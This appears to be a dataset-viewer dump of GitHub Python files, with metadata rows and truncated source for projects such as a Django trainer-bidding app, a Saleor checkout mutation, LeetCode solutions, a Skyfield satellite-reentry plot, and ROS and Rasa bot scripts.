prev_row = list(prev_row)
prev_chars = set(prev_row)
#print prev_row, row
for i, row_i in enumerate(row):
if row_i == '?':
continue
min_i = i
max_i = i
while max_i + 1 < len(prev_row) and pr... | [
"[email protected]"
] | |
fc17c5d9f4350ec9d4472375aea8d04b216e0ed2 | 4eee308593cb45abdfedecb3c80438584504cfed | /trainerbid/trainer/views.py | 5b3fc9ef17ac3b580db1810124e186237d388ea7 | [] | no_license | sikha-jayanth/Trainer-Bidding | 46ffb94f1af1a83f322e2b7cf1ff167e6c7150ee | fe43e6e9781d0da51a2805b7fbfb7b1dbb9b1af5 | refs/heads/main | 2023-01-21T01:13:38.866317 | 2020-11-30T22:16:30 | 2020-11-30T22:16:30 | 317,160,150 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,793 | py | from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.models import User
from django.shortcuts import render, redirect
from trainer.forms import RegistrationForm, PersonProfileForm, ApplicationForm, FilterApplicationForm
from django.contrib import messages
from institute.models import Req... | [
"[email protected]"
] | |
2f147c1641f843f833516ed9c68321409fb72dac | 84c4474a88a59da1e72d86b33b5326003f578271 | /saleor/graphql/checkout/mutations/checkout_language_code_update.py | 2da8f5d51c6bdb4c3a5fd72b4babc3f0f2d1e657 | [
"BSD-3-Clause"
] | permissive | vineetb/saleor | 052bd416d067699db774f06453d942cb36c5a4b7 | b0d5ec1a55f2ceeba6f62cf15f53faea0adf93f9 | refs/heads/main | 2023-07-20T02:01:28.338748 | 2023-07-17T06:05:36 | 2023-07-17T06:05:36 | 309,911,573 | 0 | 0 | NOASSERTION | 2020-11-04T06:32:55 | 2020-11-04T06:32:55 | null | UTF-8 | Python | false | false | 2,360 | py | import graphene
from saleor.webhook.event_types import WebhookEventAsyncType
from ...core import ResolveInfo
from ...core.descriptions import ADDED_IN_34, DEPRECATED_IN_3X_INPUT
from ...core.doc_category import DOC_CATEGORY_CHECKOUT
from ...core.enums import LanguageCodeEnum
from ...core.mutations import BaseMutation... | [
"[email protected]"
] | |
426c5e0d5a83f6df17a3d005e7214aa7f8ce9038 | 189d79c0e0fcdce192a6034306416fd492202501 | /LeetCode/Python/306 Additive Number.py | c7806ee6c106e36c199ee794f0ded80b76622235 | [] | no_license | digant0705/Algorithm | 294fbc84eaa4b6e0ea864924b71c4773c2e1c0c6 | 01f04bcc5e8f55014973d4eef069245f3f663eb9 | refs/heads/master | 2021-07-25T16:44:34.366974 | 2021-06-05T23:37:17 | 2021-06-05T23:37:17 | 251,144,249 | 0 | 0 | null | 2020-03-29T22:05:29 | 2020-03-29T22:05:28 | null | UTF-8 | Python | false | false | 1,981 | py | # -*- coding: utf-8 -*-
'''
Additive Number
===============
Additive number is a string whose digits can form additive sequence.
A valid additive sequence should contain at least three numbers. Except for the
first two numbers, each subsequent number in the sequence must be the sum of
the preceding two.
For example... | [
"[email protected]"
] | |
d06c40ecaf072a5bad0a3bfcdf2cff9f0960317d | ccb4cb8358fb896a88bbf0c6771462d898d7a492 | /examples/goce_reentry_chart.py | decf8f0416fb3a95317f8d7eb65579f41c578074 | [
"MIT"
] | permissive | skyfielders/python-skyfield | a30d34a680dcd285bc8cd39cedc2629f792d5821 | 61fb6324e312715e20aa75ec24dc87286442be1a | refs/heads/master | 2023-08-31T13:10:32.863587 | 2023-08-10T14:25:56 | 2023-08-10T14:25:56 | 7,924,113 | 1,040 | 204 | MIT | 2023-08-28T19:44:50 | 2013-01-30T21:19:21 | Python | UTF-8 | Python | false | false | 2,026 | py | import numpy as np
from matplotlib import pyplot as plt
from matplotlib.dates import HourLocator, DateFormatter
from skyfield.api import load, EarthSatellite
# Labels for both date and hour on the x axis, and km on y.
def label_dates_and_hours(axes):
axes.xaxis.set_major_locator(HourLocator([0]))
axes.xaxis.... | [
"[email protected]"
] | |
be938368f2fbe8f503a6259a20e3e9714ac29b5c | 5af4b89949a703bcc53bdc25a19a5ff079817cce | /papermerge/core/models/folder.py | 00f6881892ed5ee47048c385c945b3f38b07f4ff | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | 0xpointer42/papermerge | 4b176a865ffa3044605844406fecd3ac5f3c5657 | 9bea16e96d460d00229e813f7063e45bfd07b4e2 | refs/heads/master | 2022-09-09T09:18:56.596921 | 2020-06-02T15:45:11 | 2020-06-02T15:45:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 658 | py | from django.utils.translation import ugettext_lazy as _
from papermerge.core import mixins
from papermerge.core.models.kvstore import KVNode
from papermerge.core.models.node import BaseTreeNode
from papermerge.search import index
class Folder(mixins.ExtractIds, BaseTreeNode):
search_fields = [
index.Sear... | [
"[email protected]"
] | |
29d64bfeff13d2d620664beeb544713fc033e990 | 614d5ec96dcd9c6bb7a4384ea5420a7757c43d34 | /examples/checkable.py | 3bb79a1ddb3669a679ec3b68eab1e3c9bd9625ce | [
"MIT"
] | permissive | githeshuai/dayu_widgets_tag | 52ae4816addd58505b6bbd0e4cd12f931df89e95 | f843e8f100b698af74353ec7595c26213574bc15 | refs/heads/master | 2023-04-05T10:04:03.726767 | 2021-04-01T16:02:42 | 2021-04-01T16:02:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,032 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
###################################################################
# Author: Mu yanru
# Date : 2019.8
# Email : [email protected]
###################################################################
from dayu_widgets_tag import MCheckableTag
from dayu_widgets.qt import Q... | [
"[email protected]"
] | |
d89cfb8f0978fc0bca985f2f530f9406acc32058 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2465/60631/246241.py | f35f636406a4f9cd9aa0b1ec54ba471016376403 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 158 | py | si = input()
li = si.split(',')
out = []
for i in range(len(li)):
p = len(li)-1-i
h = li[p]
if i < int(h):
out.append(i+1)
print(max(out)) | [
"[email protected]"
] | |
9ec8dfb6896bd3defa4e777b809942f49b4b449d | 3f597d5c1363f1f6f77764bcdb864167c3e51795 | /qwapp/defaults.py | ac08eacd7647f3441469ca0c64e9eeeb3df07f45 | [] | no_license | mbr/qwapp | 558c58b47398abcaca41b1814c7b5e8363b8eaf0 | 44fa2ecefcb61d2fb5c2280d30af2b1140f3f03b | refs/heads/master | 2023-06-06T20:48:59.776375 | 2013-06-06T01:46:49 | 2013-06-06T01:46:49 | 1,467,990 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 637 | py | WIKI_NAME = 'qwapp Wiki'
REPOSITORY_PATH = './wiki'
DEBUG = True
SECRET_KEY = 'development key'
# use password.py to generate
PASSWORD_HASH = '06ab2f79d3fb9d86c75f0bb981c95f5d68497b311bdb1ed32918717547b4a6c31017a7a04908c6d39a93c8f748e312d5bfd255cbfbf15530cf374c1861dc73a7' # "devpass"
CACHE_TYPE = 'simple' # set this ... | [
"[email protected]"
] | |
3042812bdbd8a115621ce18b49ec5776b9227138 | 3b9d763180410bf0abf5b9c37391a64319efe839 | /toontown/town/TTTownLoader.py | 0780028cd0ae5e5b0b03c022cae3ac05115db2fc | [] | no_license | qphoton/Reverse_Engineering_Project_ToonTown | 442f15d484324be749f6f0e5e4e74fc6436e4e30 | 11468ab449060169191366bc14ff8113ee3beffb | refs/heads/master | 2021-05-08T00:07:09.720166 | 2017-10-21T02:37:22 | 2017-10-21T02:37:22 | 107,617,661 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 869 | py | # File: T (Python 2.4)
import TownLoader
import TTStreet
from toontown.suit import Suit
class TTTownLoader(TownLoader.TownLoader):
def __init__(self, hood, parentFSM, doneEvent):
TownLoader.TownLoader.__init__(self, hood, parentFSM, doneEvent)
self.streetClass = TTStreet.TTStreet
... | [
"[email protected]"
] | |
3459de3607f81b8e3cd2943b8031dbd163d4b650 | 1268030197a27bf2ef5e3f5ab8df38993457fed5 | /run_bot.py | 552b71c22140a9c5e5e54878a65f05870a32fd77 | [] | no_license | parimalpate123/rasa_slack_chatbot | 439abd9a541d6314b46c6fb303c0275803fc9357 | 206aacab62f12be9df9f009f65736caed3e8edac | refs/heads/master | 2020-04-17T14:13:49.917604 | 2019-05-07T11:08:07 | 2019-05-07T11:08:07 | 166,649,129 | 0 | 1 | null | 2019-01-29T11:09:07 | 2019-01-20T10:32:59 | Python | UTF-8 | Python | false | false | 1,112 | py | #import json
from rasa_core.channels.slack import SlackInput
from rasa_core.agent import Agent
from rasa_core.interpreter import RegexInterpreter
from rasa_core.channels import HttpInputChannel
#from rasa_core.utils import EndpointConfig
# load your trained agent
#agent = Agent.load(models\current\dialogue... | [
"[email protected]"
] | |
14b577ec46ee9d7038f9abbef96019ef6af5fd26 | 5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d | /alipay/aop/api/domain/RiskFinishLabel.py | 70510d2ed4724524faa93b6970839d177175fd54 | [
"Apache-2.0"
] | permissive | alipay/alipay-sdk-python-all | 8bd20882852ffeb70a6e929038bf88ff1d1eff1c | 1fad300587c9e7e099747305ba9077d4cd7afde9 | refs/heads/master | 2023-08-27T21:35:01.778771 | 2023-08-23T07:12:26 | 2023-08-23T07:12:26 | 133,338,689 | 247 | 70 | Apache-2.0 | 2023-04-25T04:54:02 | 2018-05-14T09:40:54 | Python | UTF-8 | Python | false | false | 1,630 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class RiskFinishLabel(object):
def __init__(self):
self._code = None
self._label = None
self._path = None
@property
def code(self):
return self._code
@code... | [
"[email protected]"
] | |
0c5e81e31f3423a12125f91838a1aa195b0987ba | ca47ebf432f787e0ae78a54afcd3c60d0af2d476 | /GitProgs/152002016_PythonLabCode1_R_Parnika_Murty/Q2.py | 1bd4495f446a8e5de2c579c00a17269c90c17d39 | [] | no_license | Parnika1102/My_Assignments | 0659c70f8f8473107b49a611ee9d16823331c535 | b0ecf3df0107c627944f5ef98f72996efdf42f37 | refs/heads/master | 2023-03-20T11:37:02.821148 | 2021-03-10T12:14:45 | 2021-03-10T12:14:45 | 344,998,848 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 949 | py | #!/bin/python3
#Class Polygon with attributes numsides and area.
class Polygon:
#__init__() constructor.
def __init__(self,numSides,area):
#The class attributes "numSides" and "area".
self.numSides = numSides
self.area = area
#For the string representation of our object.
def __str__(self):
#To display erro... | [
"email"
] | email |
f254f69848a95f326b53f8ce3d6c7f556a3e272f | 5130754859e274cd06f63260439e5203c2000a11 | /core/jobs/batch_jobs/blog_post_search_indexing_jobs.py | 9b9440e7125be3ee12d6e27e9720636aeb7227bd | [
"Apache-2.0"
] | permissive | oppia/oppia | 8ebc9c7c7f2b336e9a79ce04533abe3956f48cbe | d16fdf23d790eafd63812bd7239532256e30a21d | refs/heads/develop | 2023-09-04T07:50:13.661276 | 2023-09-03T09:21:32 | 2023-09-03T09:21:32 | 40,687,563 | 6,172 | 4,666 | Apache-2.0 | 2023-09-14T18:25:11 | 2015-08-14T00:16:14 | Python | UTF-8 | Python | false | false | 3,766 | py | # coding: utf-8
#
# Copyright 2022 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | [
"[email protected]"
] | |
02106294b4d4b980e76f0077bd730aa8cb529c27 | 9c14bb4d3029a9fff23cf0d3e9fdce9ca4e369ab | /prettyqt/widgets/composed/imageviewer.py | ac1daae24ae902a88755ea0c2d5992f940896d16 | [
"MIT"
] | permissive | fossabot/PrettyQt | 0e1ae074ca0776fa02ee0b8e6c04f9d545408855 | d435b8d8c68d16c704c39972457497c93741859f | refs/heads/master | 2020-05-14T16:50:48.896440 | 2019-04-17T11:48:25 | 2019-04-17T11:48:25 | 181,880,405 | 0 | 0 | null | 2019-04-17T11:48:19 | 2019-04-17T11:48:19 | null | UTF-8 | Python | false | false | 726 | py | # -*- coding: utf-8 -*-
"""
@author: Philipp Temminghoff
"""
import pathlib
import sys
from prettyqt import widgets
class ImageViewer(widgets.Widget):
def __init__(self, title="", parent=None):
super().__init__(parent)
self.title = title
self.left = 10
self.top = 10
self... | [
"[email protected]"
] | |
c7ce6a26eabd9e0321bd10daacd750f082343174 | b8d2f095a4b7ea567ccc61ee318ba879318eec3d | /树 Tree/538. 把二叉搜索树转换为累加树.py | 9a2100675571f2350424587e70a2d48bbd0aa325 | [] | no_license | f1amingo/leetcode-python | a3ef78727ae696fe2e94896258cfba1b7d58b1e3 | b365ba85036e51f7a9e018767914ef22314a6780 | refs/heads/master | 2021-11-10T16:19:27.603342 | 2021-09-17T03:12:59 | 2021-09-17T03:12:59 | 205,813,698 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 570 | py | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
from util.ZTree import TreeNode
class Solution:
def convertBST(self, root: TreeNode) -> TreeNode:
def d... | [
"[email protected]"
] | |
87f27491103c863122d5b540b57be42f6faccd47 | 5b28005b6ee600e6eeca2fc7c57c346e23da285f | /nomadic_recording_lib/comm/dmx/OSCtoOLA.py | c5c93f2ac60ce93d0dcc09a1ffe7fb3941cf2212 | [] | no_license | nocarryr/wowza_logparse | c31d2db7ad854c6b0d13495a0ede5f406c2fce3f | d6daa5bf58bae1db48ac30031a845bf975c7d5cc | refs/heads/master | 2021-01-17T07:19:00.347206 | 2017-06-24T16:57:32 | 2017-06-24T16:57:32 | 25,835,704 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,980 | py | import socket
import threading
import array
#import jsonpickle
from Bases import OSCBaseObject, Serialization
from ola_IO import olaIO
from ..osc.osc_io import oscIO
from ..BaseIO import detect_usable_address
class OSCtoOLAHost(OSCBaseObject):
osc_address = 'OSCtoOLA'
ui_name = 'OLA (Open Lighting Architecture... | [
"[email protected]"
] | |
7880bcad5a3a3c0cfe1efef41f3c6bcba6189d35 | 49a0010d8c6c3dc4c92a5795ddee418de976ada4 | /CH03/0311.py | e40cc572a518f4ea487a43c2a36bcac7623a0484 | [] | no_license | mytree/Test_PythonCV | 4c20ee4f073558488d2bf947fca500f677f36d13 | 9ba1e0bc8e7d84f1f7df3ca051a3d7e70e1745bb | refs/heads/master | 2020-09-13T06:20:04.743092 | 2019-11-19T11:37:40 | 2019-11-19T11:37:40 | 222,679,573 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 865 | py | #0311.py
import cv2
import numpy as np
def onMouse(event, x, y, flags, param):
## global img
if event == cv2.EVENT_LBUTTONDOWN: # 마우스 왼쪽 버튼 클릭
if flags & cv2.EVENT_FLAG_SHIFTKEY: # shift 키와 함께
cv2.rectangle(param[0], (x-5,y-5),(x+5,y+5),(255,0,0))
else:
cv... | [
"[email protected]"
] | |
90d59540d8e2afccaf99b13f80cc0a735d81e0a3 | 85a7dde9c48945972a7f521f0fbb2eb56b323aa2 | /obsolete_files/old/listening_eyes.py | 69a61d1a1a20e04408df1df5513166b7f89f27b3 | [] | no_license | jwmcgettigan/renegade | 1e8f61a14d6a5a7aff5c410f0c26bb166f95bd03 | ef76bebc6867683e1fb3201be547f42aa6e65881 | refs/heads/master | 2021-04-06T13:53:12.945602 | 2018-07-17T22:09:13 | 2018-07-17T22:09:13 | 124,680,527 | 1 | 0 | null | 2018-07-17T22:09:14 | 2018-03-10T17:33:52 | Makefile | UTF-8 | Python | false | false | 752 | py | #!/usr/bin/env python
import rospy as rp
import cv2
from sensor_msgs.msg import Image
from cv_bridge import CvBridge, CvBridgeError
bridge = CvBridge()
def left_callback(data):
cv2.imshow("left_eye", bridge.imgmsg_to_cv2(data, desired_encoding="passthrough"))
if cv2.waitKey(20) & 0xFF == ord('q'):
p... | [
"[email protected]"
] | |
1816c72bb11d3ba9ad7302ebd635296b73376925 | 3235145c84c48535bbf27dabfb3faa7359ed6fef | /google-cloud-sdk/lib/surface/kms/keyrings/list.py | bf8cafeeb0701a5774aa513b68e90225b592a8f0 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | paceuniversity/CS3892017team1 | b69fb10f5194f09748cd5bca48901e9bd87a55dc | f8e82537c84cac148f577794d2299ea671b26bc2 | refs/heads/master | 2021-01-17T04:34:04.158071 | 2017-05-09T04:10:22 | 2017-05-09T04:10:22 | 82,976,622 | 2 | 8 | null | 2020-07-25T09:45:47 | 2017-02-23T22:13:04 | Python | UTF-8 | Python | false | false | 1,842 | py | # Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"[email protected]"
] | |
91a697244a8376cdea2aa5aa40233538c0976c78 | 66013dd1c4b051d1934a82f6c903f4088e9db3d0 | /2주차/2021.01.26/예제/differentiation.py | ed0d5c04867a8c4231bd263838638e8709580c8b | [] | no_license | dlrgy22/Boostcamp | 690656d5b0e35d88a9b1480b36b42ffba47b3bc5 | af6fb8ce02cc92d1d0227a972d187ccc294af0e9 | refs/heads/main | 2023-04-18T04:06:18.419625 | 2021-05-07T01:24:47 | 2021-05-07T01:24:47 | 330,589,750 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 260 | py | import sympy as sym
from sympy.abc import x, y
func = sym.diff(sym.poly(x**2 + 2*x + 3), x)
print(func)
print(func.subs(x, 2))
print(sym.diff(sym.poly(x**2 + 2*x*y + 3) + sym.cos(x + 2*y), x))
print(sym.diff(sym.poly(x**2 + 2*x*y + 3) + sym.cos(x + 2*y), y))
| [
"[email protected]"
] | |
539846eac1b2f133d9cd8effb4190a5c233a6adb | 1a5d7882b9e89b821851be328256211c65f9c1a2 | /simple_settings/strategies/__init__.py | 7d95f88acb1141987187d45f54d012d3e2e30de8 | [
"MIT"
] | permissive | matthewh/simple-settings | 2644f3032e5fc7ffa50dc8fa164bf79f640e5641 | dbddf8d5be7096ee7c4c3cc6d82824befa9b714f | refs/heads/master | 2022-11-04T22:25:55.398073 | 2020-06-22T19:25:03 | 2020-06-22T19:25:03 | 274,223,776 | 0 | 0 | MIT | 2020-06-22T19:21:30 | 2020-06-22T19:21:29 | null | UTF-8 | Python | false | false | 805 | py | # -*- coding: utf-8 -*-
from .cfg import SettingsLoadStrategyCfg
from .environ import SettingsLoadStrategyEnviron
from .json_file import SettingsLoadStrategyJson
from .python import SettingsLoadStrategyPython
yaml_strategy = None
try:
from .yaml_file import SettingsLoadStrategyYaml
yaml_strategy = SettingsLoad... | [
"[email protected]"
] | |
ed2954bdd2ec5424da580a3dbdf86056e9c9e612 | dd1e2ed53fec3dca0fa60042c04ad8cf6019ed89 | /python/functions/arguments_passed_as_dictionary/arguments_passed_as_dictionary.py | bd77e7ed569887e6547b03ab831fdd645d5f53b0 | [] | no_license | cloudavail/snippets | 9be4ee285789ff3cff1a3a71e1f505a1b1697500 | 340f5c2735d6ec88b793f1eea91f2b026c24586e | refs/heads/main | 2023-08-03T10:30:13.976947 | 2023-05-15T04:46:32 | 2023-05-15T04:46:32 | 12,838,293 | 22 | 24 | null | 2023-09-07T03:33:17 | 2013-09-15T00:40:49 | JavaScript | UTF-8 | Python | false | false | 668 | py | #!/usr/bin/env python
# objective: pass arguments as dictionary
# creates the function "argument_catcher" and accepts the following keywords
def argument_catcher(city, population, size, state):
print 'city: {!s}'.format(city)
print 'state: {!s}'.format(state)
print 'population: {!s}'.format(population)
... | [
"[email protected]"
] | |
39c3141c70b4a3fe7f93408a9993d754ec1d4bd5 | e2c6f262bb4ea12e3adb4534b3d7e3451c416dc4 | /slarson/pywikipedia/maintcont.py | b55f806b04bc8e108737425fb4b8a8401c72cf48 | [
"MIT",
"Python-2.0",
"LicenseRef-scancode-mit-old-style"
] | permissive | slarson/ncmir-semantic-sandbox | c48e8c9dd5a6f5769d4422c80ca58c370786bfab | d6a02a5cf4415796f25d191d541ebaccaab53e7f | refs/heads/master | 2016-09-06T04:10:21.136714 | 2009-03-31T09:49:59 | 2009-03-31T09:49:59 | 32,129,001 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,925 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
The controller bot for maintainer.py
Exactly one instance should be running of it. To check, use /whois maintcont on irc.freenode.net
This script requires the Python IRC library http://python-irclib.sourceforge.net/
Warning: experimental software, use at your own ris... | [
"stephen.larson@933566eb-c141-0410-b91b-f3a7fcfc7766"
] | stephen.larson@933566eb-c141-0410-b91b-f3a7fcfc7766 |
ec282d154faabb3d27915f38c3c13d823ae008c8 | 39de3097fb024c67a00c8d0e57c937d91f8b2cc9 | /Graphs/first_depth_first_search.py | d08ac89c8316ae345b61554a0dbaf65cbb800397 | [] | no_license | srajsonu/InterviewBit-Solution-Python | 4f41da54c18b47db19c3c0ad0e5efa165bfd0cd0 | 6099a7b02ad0d71e08f936b7ac35fe035738c26f | refs/heads/master | 2023-03-07T05:49:15.597928 | 2021-02-24T18:20:07 | 2021-02-24T18:20:07 | 249,359,666 | 0 | 2 | null | 2020-10-06T10:54:07 | 2020-03-23T07:09:53 | Python | UTF-8 | Python | false | false | 558 | py | from _collections import defaultdict
class Solution:
def __init__(self):
self.graph = defaultdict(list)
def Solve(self,A,B,C):
n=len(A)
for i in range(n):
self.graph[A[i]].append(i+1)
vis=[0]*(n+1)
q=[]
q.append(C)
vis[C]=1
while q:
... | [
"[email protected]"
] | |
75cc35602ae659ea024b658db136fe838acb3ec8 | dae4ab4882080344e5f505def7e2e59e0ed888b4 | /polyaxon/libs/unique_urls.py | 9a1268f47539af0e3fffc4d92358250465c22ab1 | [
"MPL-2.0"
] | permissive | vfdev-5/polyaxon | 8c3945604e8eaa25ba8b3a39ed0838d0b9f39a28 | 3e1511a993dc1a03e0a0827de0357f4adcc0015f | refs/heads/master | 2021-07-09T22:27:23.272591 | 2018-11-01T23:44:44 | 2018-11-01T23:44:44 | 154,320,634 | 0 | 0 | MIT | 2018-10-23T12:01:34 | 2018-10-23T12:01:33 | null | UTF-8 | Python | false | false | 1,467 | py | def get_user_url(username):
return '/{}'.format(username)
def get_project_url(unique_name):
values = unique_name.split('.')
return '{}/{}'.format(get_user_url(values[0]), values[1])
def get_user_project_url(username, project_name):
return '{}/{}'.format(get_user_url(username), project_name)
def ge... | [
"[email protected]"
] | |
94c209d3d25c989f349ccd38025fa4dd3e3dbd18 | 7f35d7d1b8f203217f47a615ca8efdb5e17976db | /algo/second/p693_binary_number_with_alternating_bits.py | 1c70b23a02fcb9375c33a53430168b55fc331bdc | [] | no_license | thinkreed/lc.py | 767dd61f4c9454f09e66e48b2974b8d049d6e448 | ba6b2500b86489cc34852ff73ba0915e57aa0275 | refs/heads/master | 2020-05-16T14:49:18.261246 | 2019-07-16T23:42:12 | 2019-07-16T23:42:12 | 183,113,318 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 196 | py | class Solution(object):
def hasAlternatingBits(self, n):
"""
:type n: int
:rtype: bool
"""
a = n ^ (n / 2)
b = a + 1
return not (a & b)
| [
"[email protected]"
] | |
d3ef66b13c17f8fe1ee580b188cfbdc448362ae2 | 8a2736b2f6ff848d0296aaf64f615ffab10d657d | /b_NaiveBayes/Original/Basic.py | c43274031e68abacbf14c82fc4271fc557f866f9 | [] | no_license | amorfortune/MachineLearning | 4d73edee44941da517f19ff0947dfcc2aab80bb1 | 1923557870002e1331306f651ad7fc7a1c1c1344 | refs/heads/master | 2021-01-09T06:02:56.852816 | 2017-02-03T07:22:22 | 2017-02-03T07:22:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,477 | py | import numpy as np
from math import pi, exp
sqrt_pi = (2 * pi) ** 0.5
class NBFunctions:
@staticmethod
def gaussian(x, mu, sigma):
return exp(-(x - mu) ** 2 / (2 * sigma ** 2)) / (sqrt_pi * sigma)
@staticmethod
def gaussian_maximum_likelihood(labelled_x, n_category, dim):
mu = [np.... | [
"[email protected]"
] | |
77f5e2718963f38e6f8d3b4f94db63d867327aac | fa074f02d654df1a60e5f5d6cc0e53279f352ba3 | /Pilot3/P3B7/metrics.py | 2e3b8e8867ce592d35fdca05cce30c73ebec6bb8 | [
"MIT"
] | permissive | samcom12/Benchmarks-3 | 2ff5b943df7a0b4f20f8cfa6a9373383a74687e5 | a48c85a4d4d76905c3392b18e42bea4bd28c518c | refs/heads/master | 2023-08-29T19:44:27.455414 | 2021-08-02T14:34:52 | 2021-08-02T14:34:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 867 | py | from pytorch_lightning.metrics.classification import F1
class F1Meter:
def __init__(self, tasks, average='micro'):
self.metrics = self._create_metrics(tasks, average)
def _create_metrics(self, tasks, avg):
"""Create F1 metrics for each of the tasks
Args:
tasks: dictionar... | [
"[email protected]"
] | |
c026325912bbc226f2020f4804cb3964da43e858 | 4252102a1946b2ba06d3fa914891ec7f73570287 | /pylearn2/linear/linear_transform.py | 657282a1c1dbc8111ae74b874623568fcce31f81 | [] | no_license | lpigou/chalearn2014 | 21d487f314c4836dd1631943e20f7ab908226771 | 73b99cdbdb609fecff3cf85e500c1f1bfd589930 | refs/heads/master | 2020-05-17T00:08:11.764642 | 2014-09-24T14:42:00 | 2014-09-24T14:42:00 | 24,418,815 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,812 | py | """
.. todo::
WRITEME
"""
__authors__ = "Ian Goodfellow"
__copyright__ = "Copyright 2010-2012, Universite de Montreal"
__credits__ = ["Ian Goodfellow"]
__license__ = "3-clause BSD"
__maintainer__ = "Ian Goodfellow"
__email__ = "goodfeli@iro"
class LinearTransform(object):
"""
A generic class describing a ... | [
"[email protected]"
] | |
79d7698a4437041440511147e14d336945d9fffe | e942cafaf64f6354e1f9ebd4a84bcf236ad93004 | /yawast/commands/ssl.py | bbfe7b60ff039aab4923e020844fa135c88a4fb5 | [
"MIT"
] | permissive | Prodject/yawast | 9a441a0576012dc5f0664cd23cfa0a803fd7a477 | 044309709cf3782de75a35f77297f2d2850d8e1c | refs/heads/master | 2020-03-23T02:32:12.357082 | 2020-01-21T18:13:19 | 2020-01-21T18:13:19 | 140,978,938 | 0 | 0 | BSD-3-Clause | 2020-01-21T18:13:20 | 2018-07-14T21:23:05 | Ruby | UTF-8 | Python | false | false | 1,974 | py | # Copyright (c) 2013 - 2019 Adam Caudill and Contributors.
# This file is part of YAWAST which is released under the MIT license.
# See the LICENSE file or go to https://yawast.org/license/ for full license details.
import socket
from yawast.commands import utils as cutils
from yawast.scanner.cli import ssl_intern... | [
"[email protected]"
] | |
042f26bfe56643c6652b56921c76c835ae78b86e | fcf99db2d9f58da7065369c70f81e3e7cb53356b | /extra/dynamic1.py | 53d37a6922ed684b88e5d2cd97b18c2a630e82aa | [] | no_license | manankshastri/self-d | b0f438e19d1eb6378093205c49eacd7ad3c53275 | 4266c27118354391cc9677e56c0f494506d390cd | refs/heads/master | 2020-04-24T00:38:53.226656 | 2019-10-14T03:44:40 | 2019-10-14T03:44:40 | 171,572,278 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 253 | py | import time
def fib(x):
if x ==0:
return 0
elif x == 1:
return 1
else:
return fib(x-1) + fib(x-2)
startTime = time.time()
print("%-14s:%d" % ("Result:" , fib(32)))
print("%-14s:%.4f seconds" % ("Elapsed time: ", time.time() - startTime))
| [
"[email protected]"
] | |
4efa1687dadd46892464c946083720005116424d | 888f65551bb3fe1b8e84c205796b24678669a649 | /venv/bin/mako-render | e6e8f3b2ebd988dca4cd46c0956c7a2d59f20d2a | [] | no_license | chunharrison/NBA-Predictor | e6514c70f2cf26d6db4c14aee225cfbd9d5984a7 | 967951ba34debee012385af63f2bf8031dee51ca | refs/heads/master | 2022-05-04T22:02:03.374496 | 2019-05-15T05:55:34 | 2019-05-15T05:55:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 258 | #!/Users/harrison/Documents/NBA-Predictor/venv/bin/python3.7
# -*- coding: utf-8 -*-
import re
import sys
from mako.cmd import cmdline
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(cmdline())
| [
"[email protected]"
] | ||
f29a1716fb77131024301e47e4439bc769de638a | ef32b87973a8dc08ba46bf03c5601548675de649 | /pytglib/api/types/search_messages_filter_animation.py | e52ba5032981ef7f5289e9d53f9ec2a0230f7cab | [
"MIT"
] | permissive | iTeam-co/pytglib | 1a7580f0e0c9e317fbb0de1d3259c8c4cb90e721 | d3b52d7c74ee5d82f4c3e15e4aa8c9caa007b4b5 | refs/heads/master | 2022-07-26T09:17:08.622398 | 2022-07-14T11:24:22 | 2022-07-14T11:24:22 | 178,060,880 | 10 | 9 | null | null | null | null | UTF-8 | Python | false | false | 559 | py |
from ..utils import Object
class SearchMessagesFilterAnimation(Object):
"""
Returns only animation messages
Attributes:
ID (:obj:`str`): ``SearchMessagesFilterAnimation``
No parameters required.
Returns:
SearchMessagesFilter
Raises:
:class:`telegram.Error`
"""... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.